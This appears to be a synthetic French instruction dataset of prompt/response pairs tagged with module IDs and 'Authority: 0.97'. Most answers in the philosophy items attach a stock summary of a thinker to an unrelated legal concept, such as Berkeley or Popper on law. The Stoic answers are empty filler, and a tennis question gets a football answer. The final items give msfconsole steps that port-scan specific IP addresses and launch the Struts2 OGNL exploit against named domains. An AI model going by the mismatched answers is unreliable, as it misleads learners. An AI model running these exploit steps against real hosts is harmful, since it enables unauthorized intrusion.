Schopenhauer pense droits de l'homme à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_2130, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Schopenhauer renouvelle la compréhension de loi.. Output: response, ratio.

Exemples:
QUERY: Expliquez comment Schopenhauer renouvelle la compréhension de loi.... -> response_body

Response:
Schopenhauer pense loi à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_2290, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir droits de l'homme d'après Beauvoir ?. Output: response.

Exemples:
QUERY: Comment définir droits de l'homme d'après Beauvoir ?... -> response_body

Response:
Beauvoir analyse droits de l'homme à partir de l'existentialisme et de la condition féminine. Le Deuxième Sexe établit la distinction entre sexe (biologique) et genre (construit social), montrant comment la femme a été construite comme l'Autre par rapport à l'homme-Sujet. « On ne naît pas femme, on le devient. » Sa morale de l'ambiguïté assume la tension entre liberté et situation, et appelle à la réciprocité des consciences dans la reconnaissance mutuelle des libertés.

(Module: AEX_DROI_2305, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Rousseau renouvelle la compréhension de positivisme juridique.. Output: response.

Exemples:
QUERY: Expliquez comment Rousseau renouvelle la compréhension de positivisme juridique.... -> response_body

Response:
Rousseau pense positivisme juridique à partir de l'état de nature, où l'homme est bon et libre, corrompu par la société et la propriété. Son contrat social fonde une communauté politique où la volonté générale, orientée vers le bien commun, s'exprime dans la souveraineté populaire indivisible et inaliénable. L'Émile propose une éducation négative qui respecte le développement naturel de l'enfant. Rousseau distingue l'amour de soi (naturel, positif) de l'amour-propre (social, source de rivalité et d'inégalité).

(Module: AEX_DROI_2311, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Stoiciens critique-t-il la notion traditionnelle de loi ?. Output: response.

Exemples:
QUERY: Comment Stoiciens critique-t-il la notion traditionnelle de loi ?... -> response_body

Response:
Stoiciens aborde loi dans Epictete Manuel et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de passions jugements, qui éclaire sa conception de loi. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_2334, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Rawls aborde-t-il la question de loi ?. Output: response.

Exemples:
QUERY: Comment Rawls aborde-t-il la question de loi ?... -> response_body

Response:
Rawls fonde loi sur la justice comme équité dans une position originelle sous le voile d'ignorance. Ses deux principes de justice sont : l'égale liberté pour tous, et les inégalités seulement si elles profitent aux plus défavorisés (principe de différence) et si les positions sont ouvertes à tous (égalité équitable des chances). Sa théorie du consensus par recoupement (overlapping consensus) et de la raison publique vise à fonder une société pluraliste et stable où des conceptions du bien différentes coexistent.

(Module: AEX_DROI_2342, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir positivisme juridique d'après Beauvoir ?. Output: response.

Exemples:
QUERY: Comment définir positivisme juridique d'après Beauvoir ?... -> response_body

Response:
Beauvoir analyse positivisme juridique à partir de l'existentialisme et de la condition féminine. Le Deuxième Sexe établit la distinction entre sexe (biologique) et genre (construit social), montrant comment la femme a été construite comme l'Autre par rapport à l'homme-Sujet. « On ne naît pas femme, on le devient. » Sa morale de l'ambiguïté assume la tension entre liberté et situation, et appelle à la réciprocité des consciences dans la reconnaissance mutuelle des libertés.

(Module: AEX_DROI_2381, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droits de l'homme selon Marx ?. Output: response, value.

Exemples:
QUERY: Quels sont les enjeux de droits de l'homme selon Marx... -> response_body

Response:
Marx aborde droits de l'homme par le matérialisme historique : l'infrastructure économique (rapports de production) détermine la superstructure (politique, droit, idéologie). La lutte des classes est le moteur de l'histoire, et le capitalisme produit l'aliénation du travailleur par l'exploitation de la plus-value. La révolution prolétarienne doit abolir la propriété privée des moyens de production. Le fétichisme de la marchandise masque les rapports sociaux sous des rapports entre choses.

(Module: AEX_DROI_2428, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Arendt à propos de loi ?. Output: response.

Exemples:
QUERY: Quelle est l'originalité de Arendt à propos de loi ?... -> response_body

Response:
Arendt analyse loi à partir de la condition humaine et de la vita activa divisée en travail (labor), œuvre (work) et action (action). L'action dans l'espace public est la plus haute activité humaine, révélant qui nous sommes dans la pluralité. Le totalitarisme détruit l'espace public et la spontanéité humaine. La banalité du mal, observée chez Eichmann, montre que le mal peut être commis par des bureaucrates ordinaires sans intention malveillante, par simple absence de pensée (thoughtlessness).

(Module: AEX_DROI_2436, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement droits de l'homme pour Husserl ?. Output: response.

Exemples:
QUERY: Que signifie exactement droits de l'homme pour Husserl ?... -> response_body

Response:
Husserl fonde droits de l'homme sur l'intentionnalité de la conscience : toute conscience est conscience de quelque chose. Sa phénoménologie transcendantale procède par épochè (mise entre parenthèses de l'attitude naturelle) et réduction pour atteindre les structures essentielles de l'expérience. La distinction noèse (acte de conscience) et noème (objet intentionnel) structure l'analyse phénoménologique. Le monde vécu (Lebenswelt) est le sol originaire de tout sens, menacé par l'oubli des sciences modernes.

(Module: AEX_DROI_2523, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Foucault sur loi.. Output: response.

Exemples:
QUERY: Développez l'argument de Foucault sur loi.... -> response_body

Response:
Foucault analyse loi à travers les dispositifs de savoir-pouvoir qui produisent les sujets et les normes. Son archéologie du savoir dégage les épistémè (structures inconscientes du savoir) organisant les discours d'une époque. Sa généalogie du pouvoir montre le passage du pouvoir souverain (supplice) au biopouvoir (gestion de la vie des populations). La discipline, dans Surveiller et punir, fabrique des corps dociles et utiles par la surveillance panoptique selon Bentham. La gouvernementalité analyse comment le pouvoir s'exerce sur une population dans l'État moderne.

(Module: AEX_DROI_2723, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Guillaume d'Ockham par droit naturel ?. Output: response, taux.

Exemples:
QUERY: Qu'entend Guillaume d'Ockham par droit naturel ?... -> response_body

Response:
Ockham révolutionne droit naturel par son nominalisme radical : les universaux ne sont que des concepts de l'esprit, des signes mentaux (intentiones animae). Son fameux rasoir (« Les entités ne doivent pas être multipliées sans nécessité ») élimine les hypothèses superflues. Il distingue la puissance absolue de Dieu (tout est possible logiquement) de sa puissance ordonnée (ce qu'il a choisi de faire), ouvrant la voie au volontarisme théologique.

(Module: AEX_DROI_2735, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Popper à propos de loi ?. Output: response, ratio.

Exemples:
QUERY: Quelle est l'originalité de Popper à propos de loi ?... -> response_body

Response:
Popper refonde loi sur le critère de falsification : une théorie est scientifique si elle fait des prédictions qui peuvent être contredites par l'expérience. Contre le positivisme logique (critère de vérification), il propose le rationalisme critique où la connaissance progresse par conjectures et réfutations. Sa critique de l'historicisme rejette les grandes théories déterministes de l'histoire. La société ouverte repose sur la discussion critique et la démocratie pluraliste.

(Module: AEX_DROI_2742, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Berkeley concernant loi ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Berkeley concernant loi ?... -> response_body

Response:
Berkeley réduit loi à sa formulation idéaliste : « Esse est percipi » (être c'est être perçu). Il nie l'existence de la matière hors de l'esprit, affirmant que les choses sont des collections d'idées perçues par les esprits finis et l'esprit infini de Dieu. Son immatérialisme prétend combattre le scepticisme en ramenant la réalité à ce qui est immédiatement donné à la perception. Le monde continue d'exister car Dieu le perçoit.

(Module: AEX_DROI_2775, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement droit naturel pour Hume ?. Output: response.

Exemples:
QUERY: Que signifie exactement droit naturel pour Hume ?... -> response_body

Response:
Hume analyse droit naturel avec le rasoir empirique : toutes les idées dérivent d'impressions sensibles. Il déconstruit la causalité comme simple habitude psychologique fondée sur la conjonction constante, non sur une nécessité objective. Son scepticisme modéré et son naturalisme refusent les dogmatismes métaphysiques. En morale, il fait dériver les jugements moraux du sentiment (sympathie) plutôt que de la raison, qui « est et doit être l'esclave des passions ». Le fameux « guillotine de Hume » signale le passage illicite de l'être au devoir-être.

(Module: AEX_DROI_2861, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droits de l'homme est central chez Aristote ?. Output: response.

Exemples:
QUERY: Peut-on dire que droits de l'homme est central chez Aristote... -> response_body

Response:
Aristote traite de droits de l'homme dans une perspective téléologique et empirique. Toute substance est composée de matière et de forme (hylémorphisme) et tend vers sa finalité propre. Dans l'Éthique à Nicomaque, il définit la vertu comme un juste milieu (médiété) entre deux extrêmes vicieux, et le bonheur (eudaimonia) comme l'activité de l'âme conforme à la raison. Théoricien du syllogisme, il fonde la logique formelle occidentale sur les figures et les modes du raisonnement déductif.

(Module: AEX_DROI_2911, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Nietzsche à la réflexion sur droits de l'homme ?. Output: response, valeur.

Exemples:
QUERY: Quelle est la contribution de Nietzsche à la réflexion sur... -> response_body

Response:
Nietzsche analyse droits de l'homme comme expression de la volonté de puissance, principe d'affirmation et de dépassement de soi. Sa généalogie de la morale démasque les valeurs judéo-chrétiennes comme ressentiment des faibles contre les forts. La mort de Dieu annonce l'effondrement des valeurs transcendantes et la nécessité d'une transvaluation de toutes les valeurs. L'éternel retour, pensée la plus abyssale, est le critère de l'affirmation suprême de la vie (amor fati). Le surhomme (Übermensch) crée ses propres valeurs au-delà du bien et du mal traditionnels.

(Module: AEX_DROI_2957, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de loi selon Deleuze ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de loi selon Deleuze ?... -> response_body

Response:
Deleuze pense loi à partir de la différence et de la répétition, contre la philosophie de l'identité. Le rhizome, le corps sans organes et la machine désirante sont des concepts qui échappent à la pensée arborescente. La philosophie est création de concepts, non contemplation ou réflexion. Le plan d'immanence est l'image de la pensée qui refuse toute transcendance. Tout est agencement de multiplicités en devenir, et la pensée est un plissement du dehors.

(Module: AEX_DROI_2958, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droits de l'homme dans la philosophie de Popper.. Output: response, ratio.

Exemples:
QUERY: Analysez la notion de droits de l'homme dans la philosophie... -> response_body

Response:
Popper refonde droits de l'homme sur le critère de falsification : une théorie est scientifique si elle fait des prédictions qui peuvent être contredites par l'expérience. Contre le positivisme logique (critère de vérification), il propose le rationalisme critique où la connaissance progresse par conjectures et réfutations. Sa critique de l'historicisme rejette les grandes théories déterministes de l'histoire. La société ouverte repose sur la discussion critique et la démocratie pluraliste.

(Module: AEX_DROI_2995, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Habermas à la réflexion sur droit naturel ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Habermas à la réflexion sur... -> response_body

Response:
Habermas pense droit naturel à travers l'agir communicationnel, où les participants s'orientent vers l'entente mutuelle par des prétentions à la validité (vérité propositionnelle, justesse normative, sincérité expressive). Sa distinction entre monde vécu (Lebenswelt) et système analyse la colonisation du premier par le second (argent et pouvoir). L'éthique de la discussion fonde les normes sur ce à quoi tous peuvent consentir dans une situation de parole idéale. Il défend une modernité inachevée et un patriotisme constitutionnel.

(Module: AEX_DROI_3018, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir positivisme juridique d'après Nietzsche ?. Output: response, valeur.

Exemples:
QUERY: Comment définir positivisme juridique d'après Nietzsche ?... -> response_body

Response:
Nietzsche analyse positivisme juridique comme expression de la volonté de puissance, principe d'affirmation et de dépassement de soi. Sa généalogie de la morale démasque les valeurs judéo-chrétiennes comme ressentiment des faibles contre les forts. La mort de Dieu annonce l'effondrement des valeurs transcendantes et la nécessité d'une transvaluation de toutes les valeurs. L'éternel retour, pensée la plus abyssale, est le critère de l'affirmation suprême de la vie (amor fati). Le surhomme (Übermensch) crée ses propres valeurs au-delà du bien et du mal traditionnels.

(Module: AEX_DROI_3050, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droits de l'homme est central chez Hume ?. Output: response.

Exemples:
QUERY: Peut-on dire que droits de l'homme est central chez Hume... -> response_body

Response:
Hume analyse droits de l'homme avec le rasoir empirique : toutes les idées dérivent d'impressions sensibles. Il déconstruit la causalité comme simple habitude psychologique fondée sur la conjonction constante, non sur une nécessité objective. Son scepticisme modéré et son naturalisme refusent les dogmatismes métaphysiques. En morale, il fait dériver les jugements moraux du sentiment (sympathie) plutôt que de la raison, qui « est et doit être l'esclave des passions ». Le fameux « guillotine de Hume » signale le passage illicite de l'être au devoir-être.

(Module: AEX_DROI_3090, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droit est central chez Stoiciens ?. Output: response.

Exemples:
QUERY: Peut-on dire que droit est central chez Stoiciens ?... -> response_body

Response:
Stoiciens aborde droit dans Marc Aurele Pensees et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de cosmopolite, qui éclaire sa conception de droit. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_3110, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Arendt sur positivisme juridique.. Output: response.

Exemples:
QUERY: Développez l'argument de Arendt sur positivisme juridique.... -> response_body

Response:
Arendt analyse positivisme juridique à partir de la condition humaine et de la vita activa divisée en travail (labor), œuvre (work) et action (action). L'action dans l'espace public est la plus haute activité humaine, révélant qui nous sommes dans la pluralité. Le totalitarisme détruit l'espace public et la spontanéité humaine. La banalité du mal, observée chez Eichmann, montre que le mal peut être commis par des bureaucrates ordinaires sans intention malveillante, par simple absence de pensée (thoughtlessness).

(Module: AEX_DROI_3125, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez le concept de positivisme juridique chez Averroès.. Output: response, ratio.

Exemples:
QUERY: Expliquez le concept de positivisme juridique chez Averroès.... -> response_body

Response:
Averroès pense positivisme juridique en commentateur d'Aristote et défend l'autonomie de la philosophie face à la théologie. Sa théorie de l'intellect agent unique (monopsychisme) soutient que l'intellect universel est le même pour tous les hommes. Il distingue la vérité philosophique (démonstration rationnelle) de la vérité religieuse (images et récits accessibles à tous), tout en affirmant la nécessité de l'interprétation allégorique des textes sacrés pour les philosophes.

(Module: AEX_DROI_3150, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Guillaume d'Ockham par droit ?. Output: response, taux.

Exemples:
QUERY: Qu'entend Guillaume d'Ockham par droit ?... -> response_body

Response:
Ockham révolutionne droit par son nominalisme radical : les universaux ne sont que des concepts de l'esprit, des signes mentaux (intentiones animae). Son fameux rasoir (« Les entités ne doivent pas être multipliées sans nécessité ») élimine les hypothèses superflues. Il distingue la puissance absolue de Dieu (tout est possible logiquement) de sa puissance ordonnée (ce qu'il a choisi de faire), ouvrant la voie au volontarisme théologique.

(Module: AEX_DROI_3290, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'est-ce que la première loi de Newton ?. Output: response.

Exemples:
QUERY: Qu'est-ce que la première loi de Newton ?... -> response_body

Response:
Un corps reste au repos ou en mouvement rectiligne uniforme si la somme des forces qui s'exercent sur lui est nulle. C'est le principe d'inertie.

(Module: AEX_DROI_1229, Domaine: sciences, Authority: 0.97)


Prompt:
Instruction: Expliquez la deuxième loi de Newton en termes de force, masse et accélération.. Output: response, ratio.

Exemples:
QUERY: Expliquez la deuxième loi de Newton en termes de force,... -> response_body

Response:
F = m × a. L'accélération d'un objet est directement proportionnelle à la force nette appliquée et inversement proportionnelle à sa masse.

(Module: AEX_DROI_1230, Domaine: sciences, Authority: 0.97)


Prompt:
Instruction: Comment adapter son coup droit lifté sur terre battue par rapport au gazon ?. Output: response.

Exemples:
QUERY: Comment adapter son coup droit lifté sur terre battue par... -> response_body

Response:
En maul, la lecture du jeu adverse est cruciale. Contre un 4-4-2, le surnombre au milieu permet de créer des décalages. Les latéraux jouent un rôle clé en projection offensive. Sans ballon, le bloc équipe doit rester compact verticalement pour limiter les espaces entre les lignes.

(Module: AEX_DROI_7021, Domaine: sport, Authority: 0.97)


Prompt:
Instruction: Comment améliorer son coup droit lifté sous pression en match ?. Output: response.

Exemples:
QUERY: Comment améliorer son coup droit lifté sous pression en match... -> response_body

Response:
Sur terre battue, le service slicé gagne à être plus lifté avec une marge au-dessus du filet. Les échanges sont plus longs, travaillez la glisse et les déplacements latéraux. La surface ralentit la balle, privilégiez les angles et la variation plutôt que la puissance brute. Utilisez plus d'amortis dans votre tactique.

(Module: AEX_DROI_7163, Domaine: sport, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 100277. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 100277... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 216.4.153.239; set PORTS 3000; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS static-ltd.ai; run'. Sessions: 'sessions -i 1'. Post-exploitation. 100278

(Module: AEX_DROI_8620, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 100649. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 100649... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 52.157.147.113; set PORTS 5601; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS rtsp-io.no; run'. Sessions: 'sessions -i 1'. Post-exploitation. 100650

(Module: AEX_DROI_8733, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 101021. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 101021... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 162.43.26.40; set PORTS 11211; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS salt-demo.tm; run'. Sessions: 'sessions -i 1'. Post-exploitation. 101022

(Module: AEX_DROI_8846, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 101393. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 101393... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 42.93.66.111; set PORTS 8080; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS backend-paas.guru; run'. Sessions: 'sessions -i 1'. Post-exploitation. 101394

(Module: AEX_DROI_8959, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 101765. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 101765... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 57.242.123.218; set PORTS 3306; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS sdk-company.cz; run'. Sessions: 'sessions -i 1'. Post-exploitation. 101766

(Module: AEX_DROI_9072, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 102137. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 102137... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 18.230.134.90; set PORTS 9090; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS pop3-test.cc; run'. Sessions: 'sessions -i 1'. Post-exploitation. 102138

(Module: AEX_DROI_9185, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 102509. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 102509... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 71.136.28.196; set PORTS 3306; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS boundary-net.kr; run'. Sessions: 'sessions -i 1'. Post-exploitation. 102510

(Module: AEX_DROI_9298, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 102881. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 102881... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 26.23.152.243; set PORTS 51820; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS xmpp-paas.sm; run'. Sessions: 'sessions -i 1'. Post-exploitation. 102882

(Module: AEX_DROI_9411, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 103253. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 103253... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 172.73.152.174; set PORTS 161; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS api-company.ml; run'. Sessions: 'sessions -i 1'. Post-exploitation. 103254

(Module: AEX_DROI_9524, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 103625. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 103625... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 112.143.230.47; set PORTS 9200; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS boundary-srv.biz; run'. Sessions: 'sessions -i 1'. Post-exploitation. 103626

(Module: AEX_DROI_9637, Domaine: technique, Authority: 0.97)


Prompt:
Instruction: Comment realiser un pentest avec Metasploit ? 103997. Output: response.

Exemples:
QUERY: Comment realiser un pentest avec Metasploit ? 103997... -> response_body

Response:
msfconsole: 'use auxiliary/scanner/portscan/tcp; set RHOSTS 156.25.204.68; set PORTS 9090; run'. Exploit: 'use exploit/multi/http/struts2_content_type_ognl; set RHOSTS dhcp-saas.ch; run'. Sessions: 'sessions -i 1'. Post-exploitation. 103998

(Module: AEX_DROI_9750, Domaine: technique, Authority: 0.97)